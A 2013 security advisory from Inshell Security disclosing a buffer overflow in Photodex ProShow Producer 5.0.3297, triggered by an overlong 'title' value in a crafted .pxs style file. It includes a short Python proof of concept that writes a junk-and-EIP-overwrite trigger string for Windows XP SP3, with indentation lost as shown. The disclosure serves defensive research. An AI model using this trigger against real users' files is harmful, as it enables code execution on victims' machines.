A memory corruption vulnerability has been identified in Photodex ProShow Producer version 5.0.3297. When opening a crafted style file (.pxs), the application loads the "title" value from the pxs file. The ColorPickerProc function does not properly validate the length of the string loaded from the "title" value from the pxs file before using it in the further application context, which leads to a memory corruption condition with possible code execution depending on the version of the operating system.
4c548ccf5e23c74bf6aebf62a75caa02e6097be464986683796f64a9f92f7c47
Inshell Security Advisory
https://www.inshell.net
1. ADVISORY INFORMATION
-----------------------
Product: Photodex ProShow Producer
Vendor URL: www.photodex.com
Type: Improper Restriction of Operations within the Bounds
of a Memory Buffer[CWE-119]
Date found: 2013-02-14
Date published: 2013-02-14
CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
CVE: -
2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.
3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3297, older versions may be affected too.
4. VULNERABILITY DESCRIPTION
----------------------------
A memory corruption vulnerability has been identified in Photodex
ProShow Producer v5.0.3297.
When opening a crafted style file (.pxs), the application loads the
"title" value from the pxs file.
The ColorPickerProc function does not properly validate the length of
the string loaded from the "title" value from the pxs file before using
it in the further application context, which leads to a memory
corruption condition with possible code execution depending on the
version of the operating system.
Vulnerable function definition (all.dnt):
__stdcall ColorPickerProc(x, x, x, x)
An attacker needs to force the victim to open a crafted .pxs file in
order to exploit the vulnerability. Successful exploits can allow
attackers to execute arbitrary code with the privileges of the user
running the application. Failed exploits will result in
denial-of-service conditions.
5. PROOF-OF-CONCEPT (Code / Exploit)
------------------------------------
The following generated string has to be inserted into a .pxs file to
trigger the vulnerability on Windows XP SP3.
#!/usr/bin/python
file="poc.txt"
junk1="\x41" * 233
eip="\x42" * 4
junk2="\xCC" * 100
poc=junk1 + eip + junk2
try:
print ("[*] Creating exploit file...\n");
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print ("[*] File successfully created!");
except:
print ("[!] Error while creating file!");
For further Screenshots and/or PoCs visit:
https://security.inshell.net/advisory/46
6. SOLUTION
-----------
None
7. REPORT TIMELINE
------------------
2013-02-14: Discovery of the vulnerability
2013-02-14: Full Disclosure because the vendor ignored all previous
reports.
8. REFERENCES
-------------
https://security.inshell.net/advisory/46